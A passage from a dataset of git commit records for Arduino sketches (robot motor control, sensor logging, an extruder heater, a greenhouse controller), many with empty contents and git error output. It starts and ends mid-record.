Serial.println(\"AGC Enable\");\n \/\/lepton_command(AGC, 0x01 , SET);\n agc_enable();\n read_data();\n\n Serial.println(\"AGC READ\");\n lepton_command(AGC, 0x00 , GET);\n read_data();\n\n \/\/ Serial.println(\"SYS Telemetry Enable State\");\n \/\/lepton_command(SYS, 0x19>>2 ,GET);\n \/\/ read_data();\n\n while (1)\n {\n \/\/lepton_sync();\n read_lepton_frame();\n \/\/if(lepton_frame_packet[i]&0x0f != 0x0f )\n {\n \/\/print_lepton_frame();\n }\n\n }\n\n\n\n x++;\n delay(10000);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_i2c\/Lepton.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"8b5f80f75b4f77ca0fdf54580c9596e7e5b2a050","subject":"Cerveau: AI - ajout test funny action","message":"Cerveau: AI - ajout test funny action\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Cerveau\/Artificial Intelligence\/ai\/ai\/ai.ino","new_file":"Module Cerveau\/Artificial Intelligence\/ai\/ai\/ai.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Cerveau\/Artificial' did not match any file(s) known to git\nerror: pathspec 'Intelligence\/ai\/ai\/ai.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5762f820676a526bf8f4a00fca7219cf4ff64792","subject":"Added rudimentary analogue controls for 3 motors.","message":"Added rudimentary analogue controls for 3 motors.\n\nThese controls include up, down, along with translational motion horizontally.\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"rov_3motors.ino","new_file":"rov_3motors.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8d3ab0cde567c439babb85b02c5efefd52eed9ab","subject":"\u4fee\u590d\u4e86\u8f6c\u5411\u63d0\u524d\u505c\u6b62\u7684\u95ee\u9898","message":"\u4fee\u590d\u4e86\u8f6c\u5411\u63d0\u524d\u505c\u6b62\u7684\u95ee\u9898\n","repos":"qsheeeeen\/shopping-robot,qsheeeeen\/shopping-robot,qsheeeeen\/shopping-robot","old_file":"controller\/wheel_control\/wheel_control.ino","new_file":"controller\/wheel_control\/wheel_control.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/qsheeeeen\/shopping-robot.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"15a6164f2c95c7127b818df0dfcc1fd6becfc732","subject":"Added simple danger-avoiding example.","message":"Added simple danger-avoiding example.\n","repos":"merose\/VMSRobot3,merose\/VMSRobot3","old_file":"examples\/AvoidDanger\/AvoidDanger.ino","new_file":"examples\/AvoidDanger\/AvoidDanger.ino","new_contents":"#include <Servo.h>\n\nconst int ONBOARD_SWITCH_PIN = A7;\nconst int ONBOARD_LED_PIN = 13;\n\nconst int SERVO_PIN = 9;\nconst int IR_PIN = A4;\nconst int LEFT_TRACK_SENSOR_PIN = A2;\nconst int RIGHT_TRACK_SENSOR_PIN = A3;\n\n\/\/ The pins for motor control on the Romeo BLE.\nconst int M1_DIRECTION = 4;\nconst int M1_SPEED = 5;\nconst int M2_SPEED = 6;\nconst int M2_DIRECTION = 7;\n\nServo irServo;\n\nvoid setup() {\n Serial.begin(38400);\n irServo.attach(SERVO_PIN);\n setServoAngle(0);\n\n pinMode(ONBOARD_LED_PIN, OUTPUT);\n pinMode(M1_DIRECTION, OUTPUT);\n pinMode(M2_DIRECTION, OUTPUT);\n pinMode(LEFT_TRACK_SENSOR_PIN, INPUT);\n pinMode(RIGHT_TRACK_SENSOR_PIN, INPUT);\n\n while (readSwitch() != 1) {\n \/\/ Do nothing.\n }\n}\n\nvoid loop() {\n if (!digitalRead(LEFT_TRACK_SENSOR_PIN)) {\n \/\/ Hit edge on left. Spin back round right wheel.\n setSpeed(-128, 0);\n delay(2200);\n } else if (!digitalRead(RIGHT_TRACK_SENSOR_PIN)) {\n \/\/ Hit edge on right. Spin back around left wheel.\n setSpeed(0, -128);\n delay(2200);\n } else if (analogRead(IR_PIN) >= 375) {\n \/\/ Obstacle straight ahead. Pivot left.\n setSpeed(-128, 128);\n delay(750);\n } else {\n \/\/ No obstacles, go straight.\n setSpeed(128, 128);\n }\n}\n\n\/\/ Reads the built-in switches on the Romeo and returns a value indicating\n\/\/ which switch, if any, is depressed. The analog read value thresholds used\n\/\/ were determined empirically and fall roughly mid-way between the actual\n\/\/ value you can read for each switch.\n\/\/\n\/\/ Return value:\n\/\/ 0 - no switches\n\/\/ 1 - S1\n\/\/ 2 - S2\n\/\/ 3 - S3\n\/\/ 4 - S4\n\/\/ 5 - S5\nint readSwitch() {\n int value = analogRead(ONBOARD_SWITCH_PIN);\n \n if (value > 800) {\n return 0;\n } else if (value > 600) {\n return 5;\n } else if (value > 400) {\n return 4;\n } else if (value > 250) {\n return 3;\n } else if (value > 75) {\n return 2;\n } else {\n return 1;\n }\n}\n\n\/\/ Sets the left and right motor speeds.\nvoid setSpeed(int leftSpeed, int rightSpeed) {\n digitalWrite(M1_DIRECTION, (leftSpeed >= 0 ? HIGH : LOW));\n analogWrite(M1_SPEED, abs(leftSpeed));\n digitalWrite(M2_DIRECTION, (rightSpeed >= 0 ? HIGH : LOW));\n analogWrite(M2_SPEED, abs(rightSpeed));\n}\n\n\/\/ Sets the servo angle, as an angle from center.\nvoid setServoAngle(int angle) {\n irServo.write(90 + angle);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AvoidDanger\/AvoidDanger.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b6a16299949f759a207c337eb42b9faa2a4746fe","subject":"update delay","message":"update delay\n","repos":"stevelacy\/LEDFade,stevelacy\/LEDFade","old_file":"smartRoom.ino","new_file":"smartRoom.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/stevelacy\/LEDFade.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ae3857e7f1761703a6b2358ee0dc587c55b5deed","subject":"Added blank file","message":"Added blank file\n","repos":"dot-cat\/dotcat_platform,dot-cat\/shp_platform,s-kostyuk\/smart_home_project","old_file":"arduino\/input_controller.ino","new_file":"arduino\/input_controller.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/input_controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"be05b1221e48abcc3758d0ab9e7014918290bdce","subject":"Add arduino sketches","message":"Add arduino sketches\n","repos":"milktrackr\/milkman,milktrackr\/milkman,corbinpage\/milktrackr,corbinpage\/milktrackr","old_file":"arduino\/wifi_shield_test.ino","new_file":"arduino\/wifi_shield_test.ino","new_contents":"#include <Adafruit_CC3000.h>\n#include <Adafruit_CC3000_Server.h>\n#include <ccspi.h>\n\n\/*************************************************** \n CC3000 Low Power Datalogging\n \n Example 1: No Low Power Optimizations\n \n Created by Tony DiCola (tony@tonydicola.com)\n\n Designed specifically to work with the Adafruit WiFi products:\n ----> https:\/\/www.adafruit.com\/products\/1469\n\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Based on CC3000 examples written by Limor Fried & Kevin Townsend \n for Adafruit Industries and released under a BSD license.\n All text above must be included in any redistribution.\n \n ****************************************************\/\n\n#include <Adafruit_CC3000.h>\n#include <SPI.h>\n\n\/\/ CC3000 configuration.\n#define ADAFRUIT_CC3000_IRQ 3\n#define ADAFRUIT_CC3000_VBAT 5\n#define ADAFRUIT_CC3000_CS 10\n\n\/\/ Wifi network configuration.\n#define WLAN_SSID \"FlatironSchool\"\n#define WLAN_PASS \"33west26\"\n#define WLAN_SECURITY WLAN_SEC_WPA2\n\n\/\/ Data logging configuration.\n#define LOGGING_FREQ_SECONDS 30 \/\/ Seconds to wait before a new sensor reading is logged.\n\n#define SENSOR_PIN 0 \/\/ Analog pin to read sensor values from (for example\n \/\/ from a photocell or other resistive sensor).\n\n#define SERVER_IP 192, 168, 3, 71 \/\/ Logging server IP address. Note that this\n \/\/ should be separated with commas and NOT periods!\n\n#define SERVER_PORT 8000 \/\/ Logging server listening port.\n\n\/\/ Internal state used by the sketch.\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS, ADAFRUIT_CC3000_IRQ, ADAFRUIT_CC3000_VBAT);\nuint32_t ip;\nunsigned long lastSend = 0;\n\n\/\/ Take a sensor reading and send it to the server.\nvoid logSensorReading() {\n \/\/ Take a sensor reading\n int reading = analogRead(SENSOR_PIN);\n \n \/\/ Connect to the server and send the reading.\n Serial.print(F(\"Sending measurement: \")); Serial.println(reading, DEC);\n Adafruit_CC3000_Client server = cc3000.connectTCP(ip, SERVER_PORT);\n if (server.connected()) {\n Serial.println(\"Connected!!\");\n server.println(reading);\n }\n else {\n Serial.println(F(\"Error sending measurement!\"));\n }\n\n \/\/ Wait a small period of time before closing the connection\n \/\/ so the message is sent to the server.\n delay(100);\n \n \/\/ Close the connection to the server.\n server.close();\n}\n\nvoid setup(void)\n{ \n Serial.begin(115200);\n \n \/\/ Initialize the CC3000.\n Serial.println(F(\"\\nInitializing CC3000...\"));\n if (!cc3000.begin())\n {\n Serial.println(F(\"Couldn't begin()! Check your wiring?\"));\n while(1);\n }\n Serial.println(F(\"\\nInitialized!\"));\n \/\/ Connect to AP.\n if (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n Serial.println(F(\"Failed!\"));\n while(1);\n }\n Serial.println(F(\"Connected!\"));\n \n \/\/ Wait for DHCP to be complete.\n Serial.println(F(\"Request DHCP\"));\n while (!cc3000.checkDHCP())\n {\n delay(100);\n }\n \n \/\/ Store the IP of the server.\n ip = cc3000.IP2U32(SERVER_IP);\n \n Serial.println(F(\"Setup complete.\"));\n}\n\nvoid loop(void)\n{\n unsigned long time = millis();\n if (time - lastSend >= (1000 * (unsigned long)LOGGING_FREQ_SECONDS)) {\n logSensorReading();\n lastSend = time;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/wifi_shield_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c890ad44f41894eafd5bca30427422e09db93457","subject":"Added current Arduino control file","message":"Added current Arduino control file\n","repos":"songbird175\/ReFilament,songbird175\/ReFilament,songbird175\/ReFilament","old_file":"ReFilament\/ReFilament.ino","new_file":"ReFilament\/ReFilament.ino","new_contents":"#define EXT_PIN 6\n#define SPL_PIN 5\n#define HTR_PIN 3\n\n\/\/ Set up global variables\nboolean input_complete = false;\nfloat input_param = 0;\nString input = \"\";\nboolean active = true;\nint shaft_speed = 80;\nlong start_millis = 0;\nlong over_temp_mv = 2480;\nlong temp_mv = 0;\nlong temp_deg = 0;\nboolean heater_activated = true;\nboolean heater_on = false;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(EXT_PIN, OUTPUT); \/\/ Extrusion Motor \n pinMode(SPL_PIN, OUTPUT); \/\/ Spooling Motor\n pinMode(HTR_PIN, OUTPUT); \/\/ Heater\n\n \/\/write all control pins low\n digitalWrite(EXT_PIN, LOW);\n digitalWrite(SPL_PIN, LOW);\n digitalWrite(HTR_PIN, LOW);\n\n Serial.begin(9600);\n Serial.println(\"Initiating vehicle...\");\n start_millis = millis();\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n temp_mv = analogRead(0) \/ 1024.0 * 5000;\n if (temp_mv >= over_temp_mv) {\n heater_shutdown();\n }\n long temp_deg = temp_mv \/ 0.9181 - 2483;\n Serial.print(String(temp_mv) + \"\/\");\n Serial.print(String(temp_deg) + \"\/\");\n Serial.println(heater_activated);\n \n \/\/ get serial input here, change global variables\n get_serial();\n if (heater_activated) {\n update_temp();\n }\n analogWrite(SPL_PIN, 3);\n analogWrite(EXT_PIN, 0);\n delay(10);\n}\n\nvoid heater_shutdown() {\n digitalWrite(HTR_PIN, LOW);\n heater_activated = false;\n}\n\nvoid update_temp() {\n if (temp_deg <= 180) {\n digitalWrite(HTR_PIN, HIGH);\n heater_on = true;\n } else if (temp_deg >= 220) {\n digitalWrite(HTR_PIN, LOW);\n heater_on = false;\n } \n}\n\nvoid get_serial(){\n if (input_complete) {\n Serial.println(input);\n Serial.println(input_param);\n if (input.indexOf(\"speed\")) {\n shaft_speed = input_param;\n } else if (input.indexOf(\"stop\") > -1) {\n active = false;\n } else if (input.indexOf(\"go\") > -1) {\n active = true;\n }\n input_complete = false;\n input = \"\";\n input_param = 0;\n }\n}\n\nvoid update_speed()\n{\n if (!active) {\n analogWrite(9, 0);\n } else {\n analogWrite(9, shaft_speed);\n }\n}\n\nvoid serialEvent()\n{\n while (Serial.available()) {\n char input_char = (char)Serial.read();\n if (input_char == ':') {\n input_param = Serial.parseFloat();\n input_complete = true;\n }\n else {\n input += input_char;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ReFilament\/ReFilament.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9cf534bb971614078b2a8c74abf6786f3d13826a","subject":"Improved accuracy of timing with micros() for no good reason. Now you can watch the LED blink a few times during the test as it loops through several times instead of just once. Discovered that asm(\"\") is not optimized away by the compiler, so putting it inside of otherwise empty loops forces them to stay put. Useful when measuring empty loop time.","message":"Improved accuracy of timing with micros() for no good reason. Now you can watch the LED blink a few times during the test as it loops through several times instead of just once. Discovered that asm(\"\") is not optimized away by the compiler, so putting it inside of otherwise empty loops forces them to stay put. Useful when measuring empty loop time.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testTimerTwo\/testTimerTwo.ino","new_file":"Motor Speed\/testTimerTwo\/testTimerTwo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testTimerTwo\/testTimerTwo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fc9fc4b380d074582ec154275203a889ab5de75d","subject":"ultrasonic added","message":"ultrasonic added\n","repos":"grappigegovert\/ROS-linerider","old_file":"RosChatter.ino","new_file":"RosChatter.ino","new_contents":"\/*\n * rosserial Publisher Example\n * Prints \"hello world!\"\n *\/\n\n#include <ros.h>\n#include <geometry_msgs\/Twist.h>\n#include <std_msgs\/String.h>\n\nclass NewHardware : public ArduinoHardware {\npublic : NewHardware () : ArduinoHardware (&Serial1, 57600){ };\n}; ros::NodeHandle_<NewHardware> nh;\n\nstd_msgs::String str_msg;\nros::Publisher debug(\"debug\", &str_msg);\nchar msg[30];\nint messagedelay = 0;\n\nfloat ultrasonic(void) {\n digitalWrite(23, LOW);\n delayMicroseconds(2);\n digitalWrite(23, HIGH);\n delayMicroseconds(10);\n digitalWrite(23, LOW);\n\n duration = pulseIn(22,HIGH,1740); \/\/ 1740 uS => 30 cm\n distacne_cm = duration \/ 58;\n\n if (distacne_cm > 0 && distacne_cm < 15) {\n return 0;\n }\n else if (distacne_cm < 30) {\n return (distacne_cm-15)\/15;\n } \n else {\n return 1;\n }\n}\n\nvoid twistMsg(const geometry_msgs::Twist& twist_msg) {\n messagedelay = 0;\n\n\n int lspd = (int) (twist_msg.linear.x * 255.0);\n int rspd = lspd;\n int rot = (int)(twist_msg.angular.z * 255.0);\n lspd -= rot;\n rspd += rot;\n\n dist_factor = (int) ultrasonic();\n \n if (rspd > 255)\n rspd = dist_factor * 255;\n if (rspd < -255)\n rspd = dist_factor * -255;\n if (lspd > 255)\n lspd = dist_factor * 255;\n if (lspd < -255)\n lspd = dist_factor * -255;\n \n sprintf(msg, \"l=%d, r=%d\", lspd, rspd);\n str_msg.data = msg;\n debug.publish(&str_msg);\n \n if (lspd < 0) {\n analogWrite(6, 0);\n analogWrite(7, -lspd);\n } else {\n analogWrite(7, 0);\n analogWrite(6, lspd);\n }\n if (rspd < 0) {\n analogWrite(2, 0);\n analogWrite(3, -rspd);\n } else {\n analogWrite(3, 0);\n analogWrite(2, rspd);\n }\n}\n\nros::Subscriber<geometry_msgs::Twist> twist(\"cmd_vel\", &twistMsg);\n\nvoid setup()\n{\n \/\/ LCHB-100 Bridge & LED\n pinMode(7, OUTPUT); \/\/ 1REV\n pinMode(24, OUTPUT); \/\/ 1EN\n pinMode(6, OUTPUT); \/\/ 1FWD\n pinMode(3, OUTPUT); \/\/ 2REV\n pinMode(25, OUTPUT); \/\/ 2EN\n pinMode(2, OUTPUT); \/\/ 2FWD\n pinMode(13, OUTPUT); \/\/ Yellow LED\n digitalWrite(13, LOW);\n\n \/\/HC-SR04 ultrasonic sensor\n pinMode(22, INPUT); \/\/ Echo\n pinMode(23, OUTPUT); \/\/ Trigger\n \n nh.initNode();\n nh.subscribe(twist);\n nh.advertise(debug);\n digitalWrite(24, HIGH);\n digitalWrite(25, HIGH);\n}\n\nvoid fail() {\n digitalWrite(13, HIGH);\n analogWrite(6, 0);\n analogWrite(7, 0);\n analogWrite(2, 0);\n analogWrite(3, 0);\n}\n\nvoid loop()\n{\n nh.spinOnce();\n delay(1);\n if (messagedelay > 2000) {\n fail();\n } else {\n digitalWrite(13, LOW); \/\/led off\n messagedelay++;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RosChatter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3553c16832b2547c8e51b9ceae075183e9dd5b91","subject":"Upload of Arduino Code","message":"Upload of Arduino Code\n","repos":"Azure-Kyte\/HeartRacer","old_file":"Sauce\/Arduino Code\/HeartRacer-Arduino.ino","new_file":"Sauce\/Arduino Code\/HeartRacer-Arduino.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sauce\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/HeartRacer-Arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f06f3c5704cc4fb0ff0dcb55f2f8ee29629bb6e8","subject":"Whitespace foo","message":"Whitespace foo\n","repos":"MitchellJThomas\/medir,MitchellJThomas\/medir,MitchellJThomas\/medir,MitchellJThomas\/medir","old_file":"src\/ds18x20-sensor.ino","new_file":"src\/ds18x20-sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/MitchellJThomas\/medir.git\/'\n","license":"epl-1.0","lang":"Arduino"} {"commit":"675594aea8584ddcba6b2b1edc215b3c51175730","subject":"Final commit - pending future updgrades","message":"Final commit - pending future updgrades\n","repos":"Kangalya\/Automated-Greenhouse,Kangalya\/Automated-Greenhouse","old_file":"a_g_system\/a_g_system.ino","new_file":"a_g_system\/a_g_system.ino","new_contents":"\/* \n Created by Kang'alia Isaac Nyamu\n P15\/1325\/2011\n The University of Nairobi\n School of Computing and Informatics\n Fourth Year BSc Computer Science Project\n The Automated Greenhouse Monitoring System (Temperature and Humidity Control)\n*\/\n\n#include <Thc.h>\n#include \"DHT.h\"\n#include <LCD.h>\n#include <LiquidCrystal_I2C.h>\n#include <Wire.h>\n\n\n#define DHTPIN 2 \t\/\/ what pin we're connected to\n\n#define DHTTYPE DHT11 \/\/ DHT 11\n\n\/\/Initialize DHT sensor for normal 16mhz Arduino\nDHT dht(DHTPIN, DHTTYPE);\n\nThc Thc(5, 9, 10, 11, 13); \/\/This bracket will contain the pin numbers we are to use,It is meant to initialize them to output\/input mode\n\/\/Thc Thc(Fan In,Fan Out, Heater,Humidifier,Error Pin)\n\nvoid setup()\n{\n Serial.begin(9600);\n dht.begin();\n Thc.Init();\n}\n\nvoid loop()\n{\n delay(2000);\n\n float TEMP = dht.readTemperature();\n float HUM = dht.readHumidity(); \n Thc.GodsCommand(HUM,TEMP);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'a_g_system\/a_g_system.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6557caf258f6d4cef6048036a6cdf15c4fa2a882","subject":"Add accelerometer orientation example","message":"Add accelerometer orientation example\n","repos":"01org\/corelibs-arduino101,linrjing\/corelibs-arduino101,facchinm\/corelibs-arduino101,bigdinotech\/corelibs-arduino101,01org\/corelibs-arduino101,bigdinotech\/corelibs-arduino101,sgbihu\/corelibs-arduino101,bigdinotech\/corelibs-arduino101,SidLeung\/corelibs-arduino101,sandeepmistry\/corelibs-arduino101,yashaswini-hanji\/corelibs-arduino101,linrjing\/corelibs-arduino101,sandeepmistry\/corelibs-arduino101,yashaswini-hanji\/corelibs-arduino101,facchinm\/corelibs-arduino101,yashaswini-hanji\/corelibs-arduino101,SidLeung\/corelibs-arduino101,01org\/corelibs-arduino101,sandeepmistry\/corelibs-arduino101,sgbihu\/corelibs-arduino101,eriknyquist\/corelibs-arduino101,eriknyquist\/corelibs-arduino101,sgbihu\/corelibs-arduino101","old_file":"libraries\/CurieImu\/examples\/AccelerometerOrientation\/AccelerometerOrientation.ino","new_file":"libraries\/CurieImu\/examples\/AccelerometerOrientation\/AccelerometerOrientation.ino","new_contents":"\/*\n Copyright (c) 2015 Intel Corporation. All rights reserved.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n\n*\/\n\n\/*\n This sketch example demonstrates how the BMI160 on the\n Intel(R) Curie(TM) module can be used to read accelerometer data\n and translate it to an orientation\n*\/\n\n#include \"CurieImu.h\"\n\nint lastOrientation = - 1; \/\/ previous orientation (for comparison)\n\nvoid setup() {\n Serial.begin(9600); \/\/ initialize Serial communication\n while (!Serial); \/\/ wait for the serial port to open\n\n \/\/ initialize device\n Serial.println(\"Initializing IMU device...\");\n CurieIMU.begin();\n\n \/\/ Set the accelerometer range to 2G\n CurieIMU.setAccelerometerRange(CURIE_IMU_ACCELEROMETER_RANGE_2G);\n}\n\nvoid loop() {\nint orientation = - 1; \/\/ the board's orientation\n String orientationString; \/\/ string for printing description of orientation\n \/*\n The orientations of the board:\n 0: flat, processor facing up\n 1: flat, processor facing down\n 2: landscape, analog pins down\n 3: landscape, analog pins up\n 4: portrait, USB connector up\n 5: portrait, USB connector down\n *\/\n \/\/ read accelerometer:\n short x = CurieIMU.readAccelerometer(X_AXIS);\n short y = CurieIMU.readAccelerometer(Y_AXIS);\n short z = CurieIMU.readAccelerometer(Z_AXIS);\n\n \/\/ calculate the absolute values, to determine the largest\n int absX = abs(x);\n int absY = abs(y);\n int absZ = abs(z);\n\n if ( (absZ > absX) && (absZ > absY)) {\n \/\/ base orientation on Z\n if (z > 0) {\n orientationString = \"up\";\n orientation = 0; \n } else {\n orientationString = \"down\";\n orientation = 1;\n }\n } else if ( (absY > absX) && (absY > absZ)) {\n \/\/ base orientation on Y\n if (y > 0) {\n orientationString = \"digital pins up\";\n orientation = 2;\n } else {\n orientationString = \"analog pins up\";\n orientation = 3;\n }\n } else {\n \/\/ base orientation on X\n if (x < 0) {\n orientationString = \"connector up\";\n orientation = 4;\n } else {\n orientationString = \"connector up\";\n orientation = 4;\n }\n }\n\n \/\/ if the orientation has changed, print out a description:\n if (orientation != lastOrientation) {\n Serial.println(orientationString);\n lastOrientation = orientation;\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/CurieImu\/examples\/AccelerometerOrientation\/AccelerometerOrientation.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"fac0bbde69299b87572ea8d3e48f448640440ff0","subject":"Added Arduino code","message":"Added Arduino code\n","repos":"fabian\/fasnacht2014","old_file":"arduino\/fasnacht\/fasnacht.ino","new_file":"arduino\/fasnacht\/fasnacht.ino","new_contents":"\nvoid setup() {\n \/\/ The EL channels are on pins 2 through 9\n \/\/ Initialize the pins as outputs\n pinMode(0, INPUT);\n pinMode(1, INPUT);\n pinMode(2, OUTPUT); \/\/ channel A \n pinMode(3, OUTPUT); \/\/ channel B \n pinMode(4, OUTPUT); \/\/ channel C\n pinMode(5, OUTPUT); \/\/ channel D \n pinMode(6, OUTPUT); \/\/ channel E\n pinMode(7, OUTPUT); \/\/ channel F\n pinMode(8, OUTPUT); \/\/ channel G\n pinMode(9, OUTPUT); \/\/ channel H\n \/\/ We also have two status LEDs, pin 10 on the Escudo, \n \/\/ and pin 13 on the Arduino itself\n pinMode(10, OUTPUT);\n pinMode(13, OUTPUT);\n Serial.begin(9600);\n Serial.println(\"Fasnacht 2014\");\n}\n\nvoid loop() \n{\n unsigned long start, count, finish, time, frq;\n unsigned int x, b, last, value, avg, highest = 0, lowest = 1023;\n int brightness;\n\n digitalWrite(13, 1);\n\n start = millis();\n count = 0;\n\n for (x = 0; x < 500; x++) {\n value = analogRead(3);\n if (value > highest) {\n highest = value;\n }\n if (value < lowest) {\n lowest = value;\n }\n avg = (highest + lowest) \/ 2;\n \n if (value > avg) {\n b = 1;\n } else {\n b = 0;\n }\n if (b != last) {\n count++;\n }\n last = b;\n }\n\n finish = millis();\n time = finish - start;\n frq = count * 100 \/ time \/ 2 * 10;\n brightness = (int) (frq - 100) \/ 2;\n\n if (brightness >= 255) {\n brightness = 255;\n }\n if (brightness < 0) {\n brightness = 0;\n }\n\n Serial.print(\"Frequenz: \");\n Serial.println(frq);\n Serial.print(\"Brightness: \");\n Serial.println(brightness);\n\n digitalWrite(13, 0);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/fasnacht\/fasnacht.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c5c1dc194a56b69d92d2dcbddb8c6511f827690c","subject":"Add UdbSendReceive example","message":"Add UdbSendReceive example\n","repos":"PaoloP74\/WiFiESP,PaoloP74\/WiFiESP","old_file":"examples\/UdpSendReceive\/UdpSendReceive.ino","new_file":"examples\/UdpSendReceive\/UdpSendReceive.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/PaoloP74\/WiFiESP.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"e1ff9f0941e39442551e68d9ebbbaf1952ee75c9","subject":"ATMEGA328P","message":"ATMEGA328P\n","repos":"dave4th\/porthable,dave4th\/porthable,dave4th\/porthable","old_file":"arduino\/PortableTHLE.ino","new_file":"arduino\/PortableTHLE.ino","new_contents":"\/*\n * Programma per la lettura di una sonda DHT11, ovvero, Temperatura e Umidita`.\n * Oltre alla visualizzazione su schermo TFT LCD dei valori in formato testo,\n * viene realizzato un grafico temporale, con l'ausilio di un integrato DS1302\n * con relativo modulo completo di batteria tampone.\n * Se possibile, sara` aggiunto un ESP8266 per la trasmissione dei dati o\n * per la lettura tramite pagina web, da decidere ...\n * \n * PortableTHLE:\n * . Temperatura\n * . Umidita`\n * . LCD\n * . ESP8266\n *\/\n\n#include <TFT.h> \/\/ Arduino LCD library\n#include <SPI.h>\n#include <dht.h>\n#include <DS1302RTC.h>\n#include <Time.h>\n#include <SoftwareSerial.h>\n\n\/\/ TFT LCD\n\/\/ pin definition for the LCD (Uno, Nano)\n#define cs 10\n#define dc 8\n#define rst 9\n\n\/\/ create an instance of the library\nTFT TFTscreen = TFT(cs, dc, rst);\n\n\/\/ DHT11, Sensore di temperatura e umidita`\ndht DHT;\n#define DHT11_PIN 4\n\nfloat Humidity;\nfloat Temperature;\nfloat MemHumidity = 0;\nfloat MemTemperature = 0;\n\n\/\/ Init the DS1302\n\/\/ Set pins: CE, IO,CLK\nDS1302RTC RTC(5, 6, 7);\n\n\/\/ ESP8266\nSoftwareSerial ESP(2,3); \/\/ RX e` il 2,TX e` il 3, collegati a ESP8266\n\n\/*\n * Variabili accessorie per stampe sul display e memorizzazioni\n *\/\n\/\/ char array to print to the screen, only Humidity & Temperature ?\nchar SensorTPrintout[6];\nchar SensorHPrintout[6];\nchar DataPrintout[11];\nchar TimePrintout[9];\n\n\/\/ e memorie ..\nchar MemSensorHPrintout[6];\nchar MemSensorTPrintout[6];\nchar MemDataPrintout[11];\nchar MemTimePrintout[9];\n\n\/\/int Second = 0;\n\/\/int Minute = 